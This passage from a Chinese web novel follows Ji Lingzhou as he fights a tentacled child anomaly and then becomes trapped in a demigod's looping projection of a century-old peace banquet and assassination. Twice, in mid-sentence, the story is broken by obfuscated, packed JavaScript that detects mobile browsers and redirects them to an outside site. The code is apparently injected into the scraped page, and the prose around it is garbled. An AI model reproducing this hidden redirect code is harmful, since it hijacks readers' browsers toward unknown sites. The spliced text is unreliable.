季泠州巍然不动,感谢防护仪式替他挡下了这波。 异常就是这样矛盾的存在,它们力量诡谲,是规则的具现,却都遵循某种绝对规律,只要及时发现规律,就能对抗异常。 时间一分一秒地过去,整点的钟声再次响起,伴随着轰隆隆的巨响。 时间刚过,季泠州便如同掐准秒表般从钢琴下利落地起身。 他拍了拍身上不存在的灰尘,步伐平稳地走向茶几,拈起一块饼干,不紧不慢地放入口中咀嚼,目光却始终锁定着马利安。 “小孩儿,待在这里,我出去看看。”季泠州说完,跨出了没有门的门框。 走廊里,一如既往的安静。先前弄坏的门修复如初,业务员罗索的尸体也消失不见。 干净得仿佛什么都没有发生过。 他暗自提高了警惕。 五分钟后,季泠州停住脚步,抽出【高光】。 这条走廊看起来不超过一百米,按他的速度,一分钟足以走到尽头。 然而此刻,向前望去依旧是数不清的门。 “咯咯咯咯!”身后响起男童清脆的笑声。 七八道深紫色的触手朝季泠州探来,顶端的口翕动着,渴望着新鲜血肉。 他一跃而起,踩在墙上借力,快速旋身躲避开触手。 触手用力抽击在墙壁上,大片的裂缝顺着碰撞处往外蔓延。 季泠州手腕用力,寒星一闪,三段触手被削落,断口洒出大片绿色的粘液。 粘液滴在地上将地毯腐蚀出冒青烟的小洞。 糟糕,有腐蚀性! 一多半的粘液洒落到了他身上。 嘶—— 季泠州倒吸了口冷气,好痛,他的衣服被腐蚀得破破烂烂,露出大片的皮肤和血肉模糊的伤口。 祸不单行。 随着粘液渗入肌肤,他的眼前出现重影,一切都变得模糊不清。与之相反的是,马利安剩下的触手愈发灵活。 它们挥舞的轨迹飘忽不定,季泠州迟钝的思绪完全无法跟上它们的动作。 他只好捏碎一道梅特伦的神术祝福,浑身的伤口瞬间愈合,负面状态也被清除。 但与此同时,他早已为负数的寿命又被狠狠扣除一大段。 负上加负。 此消彼长下,他忽然从容起来,之前七八道触手难对付,现在只剩下四根,躲避起来绰绰有余。 季泠州忽然想到一件要命的事,自己若是24个小时内没回去,【苍白挽歌】就会失效。 自己将原地去世。 时间不多了!他在心中思考对策。 按照之前观察的规律,马利安的攻击范围应当和走廊里受限的无形之风一样,无法离开房间太远。 而且,现在应当是马利安的平静期。 有哪里不对劲! 对了!时间! 季泠州悚然一惊,他只是听到了钟声就判断时间到了,没有核对时间,有什么干扰了他的认知。 是马利安身上的大片灰雾。 他低头瞥了一眼【沉睡手表】,分针指向数字11, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312598|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距离真正的钟声响起还有五分钟。 真是个狡猾的孩子! 好险,险些在阴沟里翻船。 季泠州推测,自己很可能仍然在房间里兜圈子,只不过感官被灰雾影响无法察觉。 接下来就好办了,只需要破除幻觉。 他思索片刻,似乎并没有什么好办法,梅特伦的神术都失败了,那灰雾不一般。 等等,他还有一个选择。 季泠州掏出口袋里阿兰夫人给他的盒子,取出那块契约宝石。 伏在钢琴上的马利安看到这一幕,整个人猛地被刺激到。 “不——!!那是父亲的!!”孩童的尖叫骤然拔高,变得凄厉刺耳,身后的触手痉挛般抽动,然后齐齐朝着季泠州刺出。 他需要那块宝石,因为从中感受到了父亲的气息。 季泠州站在原地,对刺来的触手不躲不避。他一把捏碎宝石,契约之血化作雾气,径直飞向天际。 ——这是结契之人身亡,契约自动失效的原因。 比血雾更快的是季泠州掷出的一大把游戏币。 “钱能买到一切,给我买!”他低吼一声,游戏币化作一道银网罩住血雾,朝他的身上落下。 地面震动,马利安在飞速移动,试图阻挠季泠州,连带着他身上粘着的三角钢琴。 木头发出危险的“吱呀”声,仿佛要散架一般。 下一刹,财富的辉光闪耀。 季泠州的右臂上浮出一朵银色的花,花蕊一点血红,很是妖异。 他用大量的游戏币将迪伦·阿兰契约买了下来,现在将由他来完成和法雷尔家族的契约。 意识海里浮起一个血色的箭头,径直指向法雷尔家遗失的财宝的方向。 唯有寻到它们,交换给它们的主人,才能结束契约。 成了! 季泠州嘴角浮起微笑,干脆闭上眼睛,屏蔽掉干扰性的视觉假象,依照箭头的指引,骤然发力,如离弦之箭般朝着认定的方向冲刺而去。 马利安维持着伸手欲夺的姿势,嘴巴微微张开,脸上混合着惊愕、狂怒与一种近乎茫然的失落,仿佛无法理解宝石为何在自己眼前化为乌有。 下一秒,让他更惊怒交加的事情发生了。 被他耍得团团转、绕着钢琴兜圈子的猎物像是清醒了过来,径直朝一个方向跑去。 只用了两三秒,季泠州就跑出了灰雾的范围。 他眼前的走廊消散不见,取而代之的是熟悉的沙发和茶几。 太巧了,他一边侧头躲开马利安的触手,一边给自己倒了杯茶。 “马利安,你真是个善良的孩子,你是想提醒我吃点东西再走吗?多谢了。”季泠州话音未落,将全部的饼干都揣进了口袋。 新的游戏币出现在口袋里。 看来,这些饼干就是马利安全部的财产,季泠州本不想拿走的。 毕竟,打劫小孩零食说出去实在不好听。 季泠州手腕一抖,一支熟悉的白色粉笔便已稳握掌心。 这是他从塔洛斯那里要来的,属于侦探协会的制式异常物。 【侦探协会粉笔:一个成熟的侦探偶尔会被困住,这时就需要给自己开一道门。备注:门后小概率是狂乱之喉的胃袋!】 他不再多言,手臂挥动,粉笔在墙面上划出流畅而整齐的线条,一扇门的轮廓迅速成形。 在门成形那刻,他将游戏币塞了进去。 游戏币除了能扭曲仪式外,还能正向加持其它异常物的效果。 现在,这道门会通往一个幸运之地。他乐观地想,也许对面就是存放【浮世之冕】的地方。 在马利安的怒吼声里,季泠州钻进了门。 33.史海钩沉 陡峭狭窄的石阶朝黑暗深处延伸。 季泠州轻轻按摩自己的后脖颈,酸胀感一阵阵传来,让他错觉自己成了某个日夜伏案的打字员。 没有办法,门后只有一条无光的通道。 五分钟前,他险些失足摔断脖子。为了安全,只好临时构筑了一件具有夜视能力的异常物。 【加班者的福音:这是一片有裂缝的单片眼镜,可以协助你在不消耗电费的情况下加班。备注:它对颈椎不友好,也不防蓝光!】 季泠州颇花了一番功夫,摸索如何把这件工具固定在脸上。 现在,他终于能好好走路了。 空气潮湿沉闷,头顶的岩壁结满了细密的小水珠。 不知道走了多久,直到他的腿像灌了铅一样沉重,再也抬不起来。 他必须得休息一会。 这真的是自己的幸运之地吗?季泠州大口喘着气,在心中怀疑幸运的定义该不会是指——自己被困住,所以不会死于外因? 他摘下镜片,世界再次黑了下去,但取而代之的是脖子上的酸痛瞬间消失了,舒服得像一根新脖子。 原来无病无痛的感觉这么好。 他靠着石壁,阖上眼睛想休息一会,可是脑子里滴答作响的时钟不断提醒:你的时间不多了,不要停下来。 季泠州艰难地站起来,他突然抽出【高光】朝前一抛,嘴里念叨: “给我指路。”他决定按照剑刃朝向的方向出发,若是指向来路就回去和马利安拼了。 毫无疑问,人在极度无奈的时候会做奇怪的事。 黑暗中,前方没有传来剑刃落地的碰撞声,反而听到一声低低的闷哼声。 有人? 季泠州再次戴上镜片,强忍着脖子的酸困搜寻下方的石阶。 只见石阶一侧突兀地出现一块石台,这是他之前从未见过的。 【高光】直挺挺地悬浮在石台上十几厘米高的地方,细细的血珠沾在剑刃上。 极小概率的巧合出现了! 就像抛硬币猜正反,结果硬币立起来一样。 季泠州的剑刺到了某个隐形的存在,希望那个倒霉蛋没受太严重的伤。 他朝【高光】的方向去了,伸手摸索那个看不见的存在,头发、脸、脖子、胸腹、**、腿。 是个人!季泠州猛地收回手,停止不礼貌的动作。 大概是外伤破了那人的隐身术法,空气中逐渐浮出一道人影。 那人有一头银色的长发,双眼紧闭,淡色的唇间逸出痛苦的哼声。 【高光】正插在他的小臂上,新鲜涌出的血浸透了他的袖子。 罪过罪过,自己不是故意的! 季泠州检查了一下那人的伤口,趁他不清醒一把拔出【高光】迅速藏进口袋,然后挖了一大团【万用药膏】敷在那人汩汩冒血的伤口上。 “啊!”伴随着一声高亢的惨叫,伤口的血瞬间止住,肉眼可见地开始愈合。但因为副作用,那人疼醒了。 那人倏地睁眼,赤瞳里映着未散的痛楚,声音低哑:“……胳膊。” 季泠州不自在地咳嗽了一声,解释道: “不好意思,我看到你身上的伤口在流血,就贸然帮你上了药。我的药可能有点疼,但效果很好,我用过。” 实际上,他只试过那一次,就发誓不到万不得已,绝不再用。 地上躺着的人望着季泠州眨眨眼,痛苦的泪水顺着眼角流入头发。 “谢谢…你,好心…的…路人。”银发红瞳的话语有些卡顿,“你……有看到刺伤我的人吗?” 季泠州偏开视线,摇头道:“刚才没看清。” 这里没有镜子,看不到自己的脸是件很正常的事,他没有说谎。 银发红瞳叹了口气,认命一般翻了个身,从侧卧切换成仰躺,两只手放在胸口看起来很安详。 银发红瞳再次闭上眼睛。 等等,你不能睡呀!季泠州拍了拍他,问:“这位朋友,你知道这里是哪里吗?我似乎被困住了。” 银发红瞳没有睁眼,用困倦的语气回答:“我不知道。” “你是谁?” “我不知道。” “你为什么会出现在这里?” “我不知道。” “如何离开这里?” “我不知道。” 季泠州决定给银发红瞳取名为“不知道”。 “那你知道什么?”他放弃前,问了最后一句。 “不知道”猛地坐起身,额头差点磕到季泠州的鼻子,说:“这要看你愿意用什么来交换。” 季泠州不动声色地拉开和他的距离,从兜里掏出一块软糖:“用这个?” “不知道”接过糖端详一瞬,径直塞入口中,大口拒绝起来: “味道还行,就是硌牙,咬着费劲儿。” 季泠州沉默地看了他一眼。 连马利安那只钢琴寄居蟹都懂剥糖纸,这位选民倒是直接。 “不知道”将嘴里的东西囫囵咽下,回味了片刻后开口: “这东西我以前吃过,你这个手艺有点差,花汁肯定不新鲜了。 “以这块糖的价值,我只能告诉你两件事。一,我是绝对天平的选民,你可以和我做交易。二,这里是一个半神死前留下的幻影,被固定在了里世界。” 说完话,银发红瞳再次躺下。 留下季泠州大感震撼,竟然是绝对天平的选民,少见的就像这个世界的大熊猫(这个世界已知区域里没有大熊猫)。 为了寻找回家的方法,他读了大量超凡书籍,看过只言片语的记载。 绝对天平是一个中立神灵,执掌秩序、公平、交易等权柄。祂不修建教堂、神殿,没有大主教或祭司,甚至不需要信徒。 尘世中唯一和祂有关的,只有祂的选民。 传闻,你可以和祂的选民进行任何交易,绝对公平,童叟无欺。 在支付代价充足的情况下,祂的选民永远值得信任。 前提是,你能遇到选民。 季泠州从兜里又掏出一块糖,递给银发红瞳:“怎么离开这里?我需要你帮我。” 这次,他把糖纸剥了。 银发红瞳吃完糖,认真点头:“我可以带你离开。” 果然是幸运之地,季泠州心底雀跃。 许久后,他问:“你怎么不动?” 银发红瞳抬眼看他,红瞳里透出几分不解:“你给我一件物品,我回答你一个问题,我们的交易结束了。” 季泠州呆若木鸡,怪不得之前回答了两个问题,原来有一个问题是糖纸换来的。 啊这!他不理解但大感震惊,绝对天平的选民这么人机吗? 银发红瞳给他的感觉,是那种打斗地主时,剩下四张串子后,会挑一张最小的单打出去的样子。 他将糖纸重新塞给银发红瞳:“现在带我离开。” 银发红瞳垂眸瞥了眼糖纸,指尖一推将它送回:“我不收垃圾。” 看到季泠州捏紧了拳头,他耐心地免费解释了一句:“之前你给我的纸能保护食物不被弄脏,自身有价值。现在的,就……” 是纯垃圾了! 季泠州将捏成一团的垃圾塞回口袋 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那不是色斑,是帷幔、飘带,以及悬挂的旗帜。 周围的一切巨大的物品都在飞速缩小,季泠州很快反应过来,不是缩小而是自己在变大。 下一秒,季泠州踉跄落地。 银发红瞳似乎早有预料,甚至好整以暇地伸手扶了他一把。 人群的低语声自鎏金的大门里传来,脚下是柔软的毛皮地毯,他下意识地抬头。 头顶正上方的穹顶里,镂空雕着浮空的岛屿、有翼的人、动物与花卉,以及盘旋曲折的石阶。 他掉到了一座华丽的门厅里,周围悬挂着各式各样印有徽记的旗帜,它们挡住了水晶灯的光,让大半阶梯造型的浮雕没入阴影。 看门厅的装饰风格,和马利安所在的走廊相同。 高亢的乐声响起,大门被推开。衣着华丽的人群鱼贯而出,似是在迎接什么。 季泠州摸了摸风衣上被马利安的酸液腐蚀出的大洞,又看向银发红瞳沾着大片血迹的灰色长袍。 果断拉着他躲进了帷幕,悄悄观察。 人们在帷幕前站定,开始交头接耳窃窃私语。 “传闻奥伦特的尤利西斯三世陛下,和东陆那位天命皇帝都会驾到。” “一个平民出身的疯子,也配称皇帝?” “嘘——” “和谈吗?早该谈了,旧世界都要被打烂了。” “多亏了我们法雷尔家居中牵线,也只有我们能行。毕竟老家主是天命皇帝的挚友,而他妻子是尤利西斯三世的姐姐。等得到两大帝国的支持,我们法雷尔也会建立自己的国家。” 季泠州和银发红瞳交换了一个眼色。 谈判? 历史书上从未提到过百年前有过谈判,而法雷尔家族也从未建国。 洛萨兰是合众国,由新大陆的新城联合建立,采取的是议会制。 里世界的投影,会记录不存在的事件吗? 银发红瞳用口型说了一句:“真实存在的。” 显而易见,这次未被记载的和谈,发生了某种变故。 季泠州往帷幕里挪了挪,继续观察。 七八米高的大门被从内推开,一个面容严肃的中年金发男子带头走了进来。 他身后跟着一个笑容慈和的白发老人,旁边则是…… 见鬼! 季泠州看到了一张熟悉的脸,那张自己曾在镜中见过无数次的脸。 34.夜鹭 黑发黑眸的青年站在人群视线的中心,他旁若无人地抬起头,和走在最前面的提图斯·法雷尔笑着说了一句话。 季泠州离得太远,听不清他说了什么。 但毫无疑问,这不是一句好话。 因为一旁正朝人群挥手致意的白发老者,动作滞了一刹那。 老者领口佩戴着一枚华贵的珂兰,想必他就是尤利西斯三世,一百多年前的奥伦特皇帝。 尤利西斯三世脸上的笑消失了,面无表情的盯着青年。 青年眼帘微垂,神色疏淡,毫不在意周围投来的目光。 有的人生来如此,浑然不在乎世俗的目光,坚定地就像块铁石。 性格和行事很难改变。 毫无疑问,他不是季泠州,尽管两人看起来一模一样。 问题朝着坏的方向发展了,季泠州的心缓缓下坠,视野中的一切仿佛被无声浸染上一层暗影。 超凡世界有一条常识——每个超凡者都是独一无二的。 位阶的高低,决定超凡者影响世界时间的长短。 即便是一个一阶超凡者,终其一生也不会遇到长得和自己一模一样的人。 若是高阶超凡者,更是会持续影响世界数百年。 若是两个超凡者长得一模一样,那很显然二者是一个人。 季泠州低头凝视自己的手,白皙修长,甚至能徒手掰开苹果。虽然这没什么实际用处——家里永远只有他自己,不过是把同一个苹果分两次吃罢了。 我,是天命皇帝? 天命皇帝,是我? 这太荒谬了! 他忽然觉得这具身体变得异常陌生,仿佛下一秒就会有一个截然不同的意识醒来,举起扫把将他赶跑。 到时候,他会如何?就此陷入永眠,还是在地球醒来,回归往日熟悉的生活? 想到这,季泠州竟有些期待。 这份期待很快被打破了,一个脑门布满汗水的矮个儿男人跑了过来,一把拉住季泠州: “管家大人正派人找你,前面马上要上菜了,你要是耽误了大事会被打死的。” 有过一面之缘的房屋管理公司业务员豪斯先生,就这样突兀地出现了。 “豪斯先生?”季泠州试探着问了一句。 “幸亏你还记得我名字!”豪斯抹了把额头的汗,压低声音急促道,“工作全忘了是吧?” 下一秒,他不容分说地拉走了季泠州。 “等等!这里危险。安妮还在等你回去。” 豪斯的眼睛瞬间迷茫起来,站在原地自言自语: “安妮…… “安……妮是谁? “好熟悉的名字……” 银发红瞳的绝对天平选民瞪大眼睛,指着季泠州:“你的衣服……” 他的衣服迅速变成侍从的制服,由白衬衣、深蓝外套,以及喉咙前的丝绸领结组成。 同时,银发红瞳身上质朴的灰袍迅速变得精致起来,金色绶带、宝石袖口,与繁复花边蔓延般地浮现出来。 在银发红瞳的衬托下,有种非人的华丽感。 选民的嘴微微张开,似是要说什么。 季泠州打断了他:“时间不多了,先听我说。你确定这里的一切是真实发生过的吗?” 银发红瞳点头。 “半神构建的投影世界,只有同位阶的力量能打破。你不行,我也不行。我们最大的可能就是像这个人一样被困住。” 银发红瞳再次点头。 一旁的豪斯的眼睛逐渐恢复了清明,小声自语: “安妮是谁,你喜欢的某个女仆吗?你会被爱情害死的,小子。” 季泠州伸手按住豪斯的肩,用力摇晃他。 物理干预卓有成效,豪斯的眼神再次涣散了。 他一边摇,一边和银发红瞳说:“你叫什么?告诉我你的名字,我会来找你。” 银发红瞳困惑地眨着眼,目光扫过门厅侧面的阴影。那有几只蓝灰色的鸟儿偷溜进来,在地上啄着什么。 “叫我夜鹭。你想做什么?” 大抵是离神近的缘故,夜鹭的直觉非常灵敏,从季泠州身上,他能感受到一种趋于自毁的疯狂。 季泠州:“我想到了一个绝妙的主意。” 夜鹭瞳孔骤然收缩,语速加快:“半神投影世界的力量上限极高,你会……” 话说到一半,他消失在了空气里。 豪斯也清醒过来:“小子,我们必须得跑起来,时间要来不及了。” 他死死拉着季泠州,跑过一道又一道走廊,一头钻进厨房。 没等季泠州喘匀气,就在一个穿燕尾服的中年人的指挥下,跟着队伍鱼贯离开。 …… 宴会厅里弥漫着浓郁的熏香气息,和连夜运来的鲜花散发的芬芳交织在一起,形成奢华而迷醉的氛围。 季泠州端着托盘游走在人群里,试图找到夜鹭。 但人真的是太多了,夜鹭就像掉到河里的鱼儿,消失得无影无踪。 绕了三圈后,他放弃了。 季泠州踮起脚,寻到人群最稀疏的方向,一头扎了进去。 那个青年——或者用“天命皇帝”指代更为贴切,他正半倚在阳台的栏杆上,手里端着杯酒,漫不经心地摇晃着。 季泠州产生一种奇怪的感觉,仿佛正在透过镜子看自己。 “momo?”俩人错身的一瞬间,季泠州口中轻声念道。 天命皇帝将酒杯抵至唇边,目光却穿过杯沿,落向远处。 “不幸穿到这倒霉地方的苦命momo?”他用更大的声音完整重复了一遍。 用汉语。 天命皇帝放下杯子,不耐烦地瞥了季泠州一眼,似乎在疑惑这个侍者为什么如此没有眼色。 他听不懂。 季泠州的血液在一瞬间泵向大脑,一瞬间,他很想直接冲过去问。 但下一秒,天命皇帝消失在原地。 夜鹭自高空跃下,赤瞳冷冽,掌心擎着一道刺目的闪电,朝天命皇帝的位置刺下。 人群里,神色冷漠的灰发青年凭空浮起。他双手结印,空气瞬间化作坚实的墙壁。 天命皇帝自虚空中掉落,被旋身回转的夜鹭刺穿心口,钉在装饰着鹳羽花的立柱上。 鲜血喷涌,洒向人群,刺耳的尖叫声此起彼伏。 猝不及防的变化让季泠州愣怔了一瞬间,旋即他反应过来,一把掷出【高光】挡下提图斯·法雷尔的含怒一击。 直刺向夜鹭的长枪被磕飞,插进一张桌子。 巨大的力道震得他手臂发麻。 潮水一般的护卫,夹杂着气息强大的超凡者涌了上来,将季泠州、夜鹭,以及那个灰发青年围在中间。 “该死的刺客!”提图斯·法雷尔拨开人群,用森冷的目光盯着三人。 时空骤然变化。 季泠州像是被塞进了洗衣机,一阵天旋地转之后跌进了一座巨大的宫殿。 牛头人身的怪物蹲坐在高耸的黄金台阶上,咆哮一声: “凡人!” 它身后上百米高的石门缓缓推开,千姿百态的怪物如潮水一般冲出来。 从大到几十米高的炎魔、长着骨翼的巨蛇,到蹦蹦跳跳拖着舌头的宝箱怪……每一只都跃跃欲试。 季泠州深深地叹了口气,这是法雷尔家族血脉里传承的超凡职业【米诺陶洛斯】。 很显然,提图斯·法雷尔是个中能手。他召唤的迷宫恢弘而复杂,里面的怪物也强得离谱。 除了等死,似乎并没有其他办法。 一只漂浮飞行的鳐鱼形怪物冲在第一个,锋利的牙齿咬住季泠州的喉管。 窒息和大量的失血,让他的意识迅速沉入黑暗。 “嘶——” 季泠州大口地喘着气,猛地睁开眼睛。 一旁,夜鹭一脸惊恐,跌跌撞撞地退了好几步,险些踩到帷幕。 两人对视无言。 远处,大门打开。提图斯·法雷尔带头走了进来,他身后,黑发青年百无聊赖地扫了眼人群。 “其实你没必要救我的,那种刺客肯定活不了。”夜鹭不好意思地摊手。 季泠州:“顺手了,下次注意。” “有思路吗?” “有,你控制住不去刺杀吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329833|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行。”夜鹭苦笑。 “大概是那个半神维持投影的力量衰竭了,会把人拉进来完成循环。我很不幸,被选为刺客了。” 季泠州闭上眼睛,几分钟后再次睁开,问:“你袖子上为什么有血?” 夜鹭满脸疑惑地检查灰袍,他发现衣服上除了血迹外,还有个窟窿,似是被利刃刺穿。 但奇怪的是下面的皮肉完好无损。 “我不知道,大概是在哪里蹭到了吧。这不是重点,循环马上要开始了。” 季泠州深深地看着夜鹭袖子上的破口,不知道为什么,每次看到心底就会泛起愧疚,似乎是做了什么对不起夜鹭的事。 但他想不起来了。 豪斯大步朝这边跑来,夜鹭匆匆留下“见机行事”几个字后,就消失了。 这次,季泠州提前躲在了人群里。 他看到夜鹭和那个灰发青年被提图斯·法雷尔关进迷宫。 仅仅过了十几秒,两具血肉模糊的尸体被丢了出来。 真是惨不忍睹! 接着,让季泠州惊诧的事情发生了。 本已断气的天命皇帝倏地睁开眼睛,一把拔出胸口闪着电芒的银锥。 他抖抖衣服,宽松的玄色长袍恢复干净完好。 然后,他将目光移向了季泠州:“你的同伴已经死了。” 季泠州身边的人群像躲避瘟疫一样,推搡着空出一片空地。 他尴尬地挥挥手里的托盘,索性破罐子破摔。 “你不是天命皇帝。”他声音笃定。 青年目光深邃起来,幽幽地看了季泠州一眼:“你不是奥伦特派来的。” 季泠州嘴角微弯,一脸的高深莫测。 他优雅地弯下腰,说:“万物终焉会向您问好!” 这是他在某本小说里读到的,因为听起来就像大反派,让他印象深刻。 青年轻笑出声:“你们这群人真是有趣。先前组建了个归乡会,用鼠呀、牛呀这些动物当名字。 “后来不满意,又改成水瓶、螃蟹、蝎子……真是太滑稽了。当然,还是你们的计划更滑稽一些。什么真实之矢?不过是拿来骗姐姐钱的谎话。” 季泠州在心中迅速思考着青年的话,他似乎把自己错认成了什么人? 有戏。 看到季泠州迟迟不打话,青年吹了声口哨,虚空窜出一条雪白小蛇,一口将季泠州咬死。 …… 夜鹭和那个灰发青年照例领了盒饭。 这次,没等青年转头看自己,季泠州率先开口:“喂!我是归乡会的,自己人!” 青年惊疑不定,认真地打量着眼前的侍者,这家伙是什么时候察觉到自己发现了他? “皇帝陛下她让我来找你拿钱。”季泠州的心提了起来,他正在验证自己的大胆推测。 青年瞬间翻脸:“你不是归乡会的人,那些人从来不称呼姐姐为陛下。” 他吹了声口哨,虚空窜出一条玄色的巨狼,一口将季泠州吞进肚子。 …… 迷宫里掉出两具尸体,其中一个赤瞳的家伙看起来很眼熟。 但季泠州没有多看,他有更重要的事情要做。 他已经记不得自己死了多少次,甚至不知道自己在哪里,为什么来这里。 他只知道,要不断地从那个黑发青年嘴里套话。 “我是归乡会的人,真实之矢计划即将开始。请尽快通知水瓶,和我们会面。” 青年面色凝重,他摸不清眼前人的来历,恐怕他真的是归乡会的人。 这意味着今晚的事走露了消息,他面露挣扎。 索性,不如灭口? 他食指一弯刚要打响指,又迟疑住,万一眼前的人也是半神,战斗的波动会很大。 时间就在僵持中一分一秒过去了。 季泠州的头隐约刺痛,为了不露出破绽,他索性闭上了眼睛。 青年看到季泠州气定神闲的样子,轻叹一声,垂下手。 “你想要什么?” 季泠州睁开眼,神色平静:“我要你们手里的那个半神。” “迪伦·阿兰?”青年神色愕然。 35.爱、仪式刀和自由 最后一片拼图对上了,所有的线索在季泠州脑海里串成一条线。 他轻笑出声: “你早就和尤利西斯三世串通好了,要利用今夜的会面除掉迪伦·阿兰,他是提图斯·法雷尔的人。 “奥伦特和东陆交战,法雷尔家左右逢源借机壮大,你们不想看到一个崭新的国家成立。 “所以,你们设计了这场会面。想必,天命皇帝遭到刺杀的消息已经传出去了。同时得罪两个强国,还失去了一个半神强者的法雷尔家族,再也无力建国。” 青年低笑一声,眼中却无笑意:“现在才想通?太迟了,一切已成既定事实。” 季泠州垂下眼睑:“或许吧。” 大厅的墙壁在身侧片片剥离,奢靡华美的穹顶一点点消散,露出背后漆黑的虚空。 青年仍在机械地大笑,他终究不是本人,只是迪伦·阿兰从记忆里截取的一抹残影。 迪伦·阿兰的力量维持投影世界已经捉襟见肘了,在季泠州一次次的试探下,残余的力量几乎全部被调来模拟那个青年的反应。 现在,投影世界即将崩溃。 宴会厅里的宾客,明显分为两种。 一种人仍维持着先前的行动模式,站在原地怯生生地张望,他们是投影产物。 另一种人则是惊慌失措,他们衣着华贵,嘴里却喊着风马牛不相及的话。 “救命!我遭遇了异常。” “亡月保佑!让我回到工厂吧。” “报警!快报警。这是一场群体绑架。” 人群中,豪斯不再维持秩序、指挥仆人,反而在身上翻翻找找,似乎在找他的笔记本。 季泠州无意维持秩序,也无力维持秩序,只需要静静等待,所有被困的人都可以离开了。 他端起桌子上的酒杯,往嘴里灌了一口,毫无味道。乏味地就像对面的青年一般,那人正在吹口哨,试图招不存在的动物来杀掉季泠州。 地上,失去气息的夜鹭尸体抽搐了几下,缓缓睁开眼睛。他身上血肉模糊的伤口正以惊人的速度消失。 旁边,灰发青年也猛地坐了起来。 “赫尔曼·苏利文?”季泠州试探着问。 灰发青年疑惑地望向他:“你是?”他的身影有些透明,大抵是因为没有躯体,只剩下灵魂。 “艾希莉委托我寻找你。”他干脆利索地解释了一遍。 “贝内特小姐?”话音刚落,赫尔曼伸手用力按住额角。 “我的头……小心……”他的话支离破碎,似乎在忍受极大的苦楚。 季泠州可以理解,这个投影世界每循环一次,身处其中的人就会失去一小部分记忆。随时间推移逐渐迷失,忘记自己是谁。 当世界崩溃时,失去的记忆一股脑塞进大脑,疼痛很正常。 “小心!迪……”他齿缝里挤出几个字。 没等季泠州反应过来,大厅霍地炸开。 万物化作碎片,向四面八方飞射而去。 飞射的动作本身却逐渐变慢,像是按下慢动作键一样。 超过某个临界点后,所有的碎片同时向原来的位置飞回。 世界被强行重置了! 季泠州脸上轻松的笑凝固了,他判断错了,宴会厅不是迪伦·阿兰的执念所在。 夜鹭、赫尔曼、豪斯,以及被卷入的其他人在一瞬间消失了。 只剩下空无一人的宴会厅。 一个身材颀长,脸颊却消瘦得可怕的男人站在窗边,仰望着外面的虚无,说:“我需要你帮我。” 季泠州苦笑:“我可以拒绝吗?” 男人摇摇头:“不行。” 季泠州:“阿兰先生,你其实没必要征求我的意见。” 男人咧嘴一笑,转身一把推在季泠州的肩膀上。 他瞬间失去平衡,踉跄着向后退去。 待季泠州站稳,愕然发现自己回到了最初的地方。 …… 走廊尽头的房间里,穿淡粉色长裙的小女孩拽着消瘦男人的手不愿松开:“父亲,不要离开,小玛莲害怕。” 迪伦·阿兰疼惜地摸着小女孩的头,安慰道: “提图斯叔叔需要父亲的帮助,我很快就会回来。小玛莲已经九岁了,要做一个勇敢的孩子。” 玛莲娜仰起脸,用稚嫩的声音问:“可是,母亲说小玛莲是女孩,只需要成为淑女就够了。” 迪伦·阿兰苦笑一声。 他蹲下身,平视女儿的眼睛: “我的女儿,这世道不会因你是淑女就手下留情。你可以先成为一个强者,然后再决定是否做一个淑女。” 他了解自己的妻子,她性格温柔,出身于奥伦特南方的一个小贵族家庭,由信仰堤喀的修女带大。 堤喀是执掌命运权柄的旧神,祂的信徒大多是些死脑瓜,认为“命运天定,各安天命”,嘴上总是念叨男人应该如何,女人应该如何。 幸好,祂已在那次战争中陨落,否则世界还不知道会变得多么迂腐。 玛莲娜似懂非懂地点点头。 迪伦·阿兰用左手捂住女儿的眼,右手插进胸口,自躯体里挖出一大团红色的东西。 他的手灵活地捏了几下,那团红色的东西被捏成一把晶莹剔透的短匕。 “给,提前送你的生日礼物。”他将短匕塞进女儿的手里。这是用半神的心化作的武器,上面有独属于他的本职权能,能代替自己保护女儿。 “一定要收好。”他想,今晚的任务很简单,自己很快就能回来。 迪伦·阿兰恋恋不舍地望了女儿一眼,头也不回地离开房间。 他很放心,因为这个房间是整座浪冠堡最安全的地方,位于提图斯·法雷尔设置的防御迷宫核心部位。在迷宫的主人死去前,没人能闯进来。 这世上没人能在法雷尔家的地盘上,杀死他们的家主。 玛莲娜窝在沙发里,爱不释手地把玩着短匕。 忽然,整个房间剧烈震动。 “啊!”短匕失手滑落,她低低叫了一声,手背出现一道汩汩流血的伤口。 小女孩又疼又惊慌。 就在这时,门被敲响了。 “父亲?”玛莲娜试探着问了一句。 门外传来好听的男声:“年轻的小姐,你需要帮忙吗?” 玛莲娜刚想答应,可是想起父亲的叮嘱,又把嘴闭上。 但门还是被推开了。 黑发黑眸的青年推门而入,他有着和季泠州一模一样的脸,脚步轻盈如灵猫。 “你是谁?”玛莲娜警惕地盯着青年。 青年勾起嘴角露出个不怀好意的笑:“我是天命皇帝的大司命。记住,是东陆的天命皇帝。” “也是你父亲迪伦的好朋友。在你七岁那年我们见过一面。” 玛莲娜似乎想起了什么,她从口袋里取出一个彩色的木雕小鸟,鸟翅膀上突兀地长着一根黑羽,看起来很滑稽。 “玛莲娜想起来了,这个就是叔叔你送给我的。” 青年点点头,又重复了一遍自己的身份,等确定小女孩记住了后,他忽然故作惊讶道: “奇怪!我认识的像你这般大的女孩,都在学习音乐,而你怎么拿着一把刀?” 